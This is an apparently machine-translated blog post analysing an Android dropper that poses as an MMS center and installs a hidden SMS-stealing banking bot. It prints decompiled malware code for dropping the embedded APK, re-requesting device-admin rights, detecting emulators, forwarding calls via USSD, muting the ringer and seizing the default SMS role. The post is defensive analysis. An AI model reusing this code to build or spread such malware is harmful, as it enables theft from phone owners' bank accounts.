📜 ⬆️ ⬇️

Analysis of Android Malvari Matryoshka

After writing an article about analyzing Malvari with avito, several of my twitter readers responded and sent SMS, which they received after publishing ads on avito.



VT report

Under the link, under the guise of receiving MMS messages offer to put apk. What is remarkable, in the case of MTS of the rights (permissions) only access to the memory card.

')
Weight 90kb, which is quite normal for malware. The smaller the size, the better, because not always the Internet allows you to download even a couple of megabytes.

After decompiling, it is found that the code is not obfuscated and is a loader (the application used to download and install another application). But, not quite standard.
As a rule, the loader knocks on the server, downloads the application and aggressively offers to install. This is used, for example, for the promotion of any applications to get more users. But for a Malvari, spreading through an alien loader is not the best option, because the victim’s phone may have been infected for a long time and there’s nothing to catch.

Here we also have a matryoshka - inside apk, in the folder of assets lies the file 1.apk. Size 60kb.
VT report
Decompile or unzip it failed. The file is damaged.
I understand with the code of the doll.
After installation, the MMS center allegedly copies the assets folder apk to the memory card, replacing a couple of bytes and immediately launches the installation under the guise of “Google Addition”.

static void runs(Context cnt, String name) { File sdCard = Environment.getExternalStorageDirectory(); AssetManager assetManager = cnt.getAssets(); try { StringBuilder buf = new StringBuilder(); InputStream in = assetManager.open(name); Log.e("path", sdCard.getAbsoluteFile() + "/" + name); OutputStream out = new FileOutputStream(sdCard.getAbsoluteFile() + "/" + name); try { byte[] buffer = new byte[1024]; while (true) { int read = in.read(buffer); if (read == -1) { break; } out.write(buffer, 0, read); } in.close(); out.flush(); out.close(); OutputStream out2 = new FileOutputStream(sdCard.getAbsoluteFile() + "/t" + name); InputStream replacingInputStream = new ReplacingInputStream(new ByteArrayInputStream(readfile(sdCard.getAbsoluteFile() + "/" + name)), "[PK]".getBytes("UTF-8"), "PK".getBytes("UTF-8")); ByteArrayOutputStream bos = new ByteArrayOutputStream(); while (true) { int b = replacingInputStream.read(); if (-1 != b) { bos.write(b); out2.write(b); } else { out2.flush(); out2.close(); Intent intent = new Intent("android.intent.action.VIEW"); intent.setDataAndType(Uri.fromFile(new File(sdCard.getAbsoluteFile() + "/t" + name)), "application/vnd.android.package-archive"); intent.setFlags(268435456); cnt.startActivity(intent); new File(sdCard.getAbsoluteFile() + "/" + name).delete(); return; } } } catch (Exception e) { OutputStream outputStream = out; } } catch (Exception e2) { } } 


After that, the MMS center is hidden from the list of applications. But the addition remains visible.

If this MMS center had at least an error, about a damaged MMS, an expired shelf life, and a delayed installation of the “Google Add-on” would not be so suspicious.

The meaning of loaders in the distribution of apk with 0 detections from AB and the lack of rights. And editing the second file does not need to refactor the code. Only after recovery, nobody canceled the reaction of AV.
VT report after repair
Report VT matryoshka with internal repaired apk
VT report is the same, but the internal apk is renamed to jpg
Google Addendum hints at obfuscation. Obfuscation is somewhat difficult to call, there are just renamed classes (names in 1 letter), the contents have not been touched.

We look AndroidManifest.xml

Long list of rights

  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.CAMERA" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.GET_TASKS" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.READ_CALL_LOG" /> 



Further various receivers and fake on Google Play, the design of which does not match the “material design”, so on new versions of android, it will look suspicious. There is no check for validity of the entered data. Something not entered, everything goes to the server.

  <receiver android:name="zzzzzz.xxxxxx.cccccc.AlarmReceiverKnock" /> <receiver android:name="zzzzzz.xxxxxx.cccccc.AlarmReceiverAdm" /> <receiver android:name="zzzzzz.xxxxxx.cccccc.AlarmReceiverSmsMan" /> <receiver android:name="zzzzzz.xxxxxx.cccccc.IntentReceiver"> <intent-filter> <action android:name="android.intent.action.PACKAGE_ADDED" /> <action android:name="android.intent.action.PACKAGE_REMOVED" /> <action android:name="android.net.conn.CONNECTIVITY_CHANGE" /> <data android:scheme="package" /> </intent-filter> </receiver> <receiver android:name="zzzzzz.xxxxxx.cccccc.CAdm" android:permission="android.permission.BIND_DEVICE_ADMIN"> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED" /> </intent-filter> <meta-data android:name="android.app.device_admin" android:resource="@xml/da" /> </receiver> <receiver android:name="zzzzzz.xxxxxx.cccccc.IMMon"> <intent-filter android:priority="100"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> <receiver android:name="zzzzzz.xxxxxx.cccccc.BootReciv" android:enabled="true"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.QUICKBOOT_POWERON" /> </intent-filter> </receiver> <service android:name="zzzzzz.xxxxxx.cccccc.Knock" /> <service android:name="zzzzzz.xxxxxx.cccccc.SrvAdm" /> <service android:name="zzzzzz.xxxxxx.cccccc.IMService" /> <receiver android:name="zzzzzz.xxxxxx.cccccc.SmsReceiver" android:permission="android.permission.BROADCAST_SMS"> <intent-filter> <action android:name="android.provider.Telephony.SMS_DELIVER" /> </intent-filter> </receiver> <receiver android:name="zzzzzz.xxxxxx.cccccc.MmsReceiver" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" /> <data android:mimeType="application/vnd.wap.mms-message" /> </intent-filter> </receiver> <activity android:name="zzzzzz.xxxxxx.cccccc.ComposeSmsActivity"> <intent-filter> <action android:name="android.intent.action.SEND" /> <action android:name="android.intent.action.SENDTO" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="sms" /> <data android:scheme="smsto" /> <data android:scheme="mms" /> <data android:scheme="mmsto" /> </intent-filter> </activity> <service android:name="zzzzzz.xxxxxx.cccccc.HeadlessSmsSendService" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" android:exported="true"> <intent-filter> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" /> <category android:name="android.intent.category.DEFAULT" /> <data android:scheme="sms" /> <data android:scheme="smsto" /> <data android:scheme="mms" /> <data android:scheme="mmsto" /> </intent-filter> </service> <activity android:label="@string/title_activity_activity_blank" android:name="zzzzzz.xxxxxx.cccccc.ActivityStart"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:label="@string/sda" android:name="zzzzzz.xxxxxx.cccccc.MAC" /> <activity android:label="@string/cc" android:name="zzzzzz.xxxxxx.cccccc.ActivityGetCC" /> </application> 




The application wants to use the functions of the device administrator, with such rights:

  <?xml version="1.0" encoding="utf-8"?> <device-admin> <uses-policies> <limit-password /> <watch-login /> <reset-password /> <force-lock /> <wipe-data /> <expire-password /> <encrypted-storage /> <disable-camera /> </uses-policies> </device-admin> 


After viewing the code, it seems that the developer has written all possible rights to the reserve or thoughtlessly copied from the documentation
. Since no permissions from the device-admin section are used, some of those written in AndroidManifest.xml. And throughout the code, apparently for the convenience of the reverser, the developer left the debug output in LogCat.
The request admin rights comes with the text: "Permissions required for optimal performance." No message is discarded for revocation. After revoking the rights, the malware will ask them again

  public CharSequence onDisableRequested(Context context, Intent intent) { Intent intent2 = new Intent(context, MAC.class); intent2.addFlags(268435456); context.startActivity(intent2); return ""; } public class MAC extends Activity { private DevicePolicyManager a; public void onCreate(Bundle bundle) { super.onCreate(bundle); this.a = (DevicePolicyManager) getSystemService("device_policy"); Parcelable componentName = new ComponentName(this, CAdm.class); if (!this.a.isAdminActive(componentName)) { Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN"); intent.putExtra("android.app.extra.DEVICE_ADMIN", componentName); intent.putExtra("android.app.extra.ADD_EXPLANATION", ""); startActivity(intent); } finish(); } } 


Link to the gate (server where the bot is accessed) plain-text. Communication with the bot in both directions occurs in JSON format. I was not interested in analyzing the protocol, so I continued to study the code.

Startup check from emulator

  public static boolean m6a(Context context) { boolean equals = ((TelephonyManager) context.getSystemService("phone")).getDeviceId().equals("000000000000000"); boolean z = Build.MODEL.contains("google_sdk") || Build.MODEL.contains("Emulator") || Build.MODEL.contains("Android SDK") || Build.FINGERPRINT.startsWith("generic") || Build.FINGERPRINT.startsWith("unknown") || Build.MODEL.contains("Android SDK built for x86") || Build.MANUFACTURER.contains("Genymotion"); boolean z2 = Build.BRAND.startsWith("generic") && Build.DEVICE.startsWith("generic"); return equals || z || z2; } 


Bot takes to the server browser history, contact list, list of installed applications, call history, current location, sent SMS.

Can not only call forwarding, but also USSD

  static String b(Context context, String str) { String str2 = "**21*" + str + "#"; Intent intent = new Intent("android.intent.action.DIAL"); intent.setData(Uri.fromParts("tel", str2, "#")); intent.setFlags(268435456); context.startActivity(intent); return ""; } static String a(Context context, String str) { SystemClock.sleep(5000); Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + str.toString() + Uri.encode("#"))); intent.setFlags(268435456); context.startActivity(intent); return ""; } 


And when the cherished SMS comes from the savings bank - the bot will turn off the sound on the phone

  ((AudioManager) getSystemService("audio")).setRingerMode(0); 


And if the version of the android from 4.4, then we will require you to put yourself as a default SMS application
In version 4.4 it is forbidden to hide SMS to any applications, except the default application. In other versions of the android, you can prohibit hiding SMS by simply putting Hangouts and selecting it for SMS.

  public static void m2a(Context context) { if (VERSION.SDK_INT >= 19) { String className = ((RunningTaskInfo) ((ActivityManager) context.getSystemService("activity")).getRunningTasks(1).get(0)).topActivity.getClassName(); if (!className.equalsIgnoreCase("com.android.settings.DeviceAdminAdd") && !className.equalsIgnoreCase("com.android.settings.SmsDefaultDialog") && !Sms.getDefaultSmsPackage(context).equalsIgnoreCase(context.getPackageName())) { Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT"); intent.putExtra("package", context.getPackageName()); intent.addFlags(268435456); context.startActivity(intent); } } } 




And under the guise of Beeline MMS center, the same bot of nesting dolls appeared, but without a wrapper.

Summing up, we have an interesting idea with a matryoshka and disgusting execution of the main bot.

Source: https://habr.com/ru/post/276619/


All Articles